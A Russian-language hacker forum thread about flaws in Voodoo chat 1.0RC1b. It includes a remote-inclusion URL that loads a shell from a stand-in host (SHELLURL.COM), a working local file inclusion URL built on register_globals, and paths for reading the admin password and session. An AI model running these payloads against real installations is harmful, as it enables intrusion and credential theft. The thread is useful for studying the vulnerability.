Программа: Voodoo chat 1.0RC1b и предыдущих Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "file_path" в сценарии index.php. Пример: http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM? источник xakep.ru
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language; else include_once($file_path.\"languages/\".$language.\".php\"); и где тут инклуд?Чет не совсем понял
Начица раздупляю ситуасьён. Не знаю как там в предыдущих версиях (мож кто поделится сорцами?) но на данный момент мы имеем следующее: ---------------------------- файл <host>/chat/index.php <?php require_once("inc_common.php"); ---------------------------- <host>/chat/inc_common.php if (!($conf_content = implode("",file($data_path."voc.conf")))) { trigger_error("1000\tCannot open voc.conf file, please check your DATA PATH parameter",E_USER_ERROR); } eval($conf_content); ---------------------------- и наконец в <host>/data/voc.conf имеем $file_path = "<host>/chat/"; ---------------------------- такие пироги. пороюсь еще по остальным пхп завтра.
Итак, прадолжим. Бегло просотрел пхп-хи в <host>/chat/ - подкопаться сложно. Вощем надоело и я решил пойти другим путем. И таки имеем локальный инклуд (в текущей самой новой версии) . Уязвимость находится в файле <host>/chat/welcome.php : Code: require_once("inc_common.php"); ////////////// скип //////////////// set_variable("user_lang"); set_variable("c_ulang"); if ($c_ulang != "" && $user_lang == "") $user_lang = $c_ulang; if (!in_array($user_lang, $allowed_langs)) $user_lang = $language; else include_once($file_path."languages/".$user_lang.".php"); ////////////// скип //////////////// Тогда локальный инклуд будет иметь следующий вид: <host>/chat/welcome.php?allowed_langs[0]=&allowed_langs[1]=&allowed_langs[2]=../welcome&user_lang=../welcome Инклудим саму себя - чисто для примера. Ну и register_globals = on разумеется чтобы заработало. %00 - ессесно не катит потому что в inc_common.php в функции set_variable() присутсвует $$variable_name = str_replace("\0","", $$variable_name); Поэтому думаю больше тут сделать ничего низя. Ну и в заключение пару небольших фич: - получить список всех зарегеных юзеров <host>/chat/photos/renamer.php - позырить пароль админа здесь: <host>/chat/admin/admin_users.php - сессию админа здесь : <host>/chat/admin/sessions.php На этом у меня все.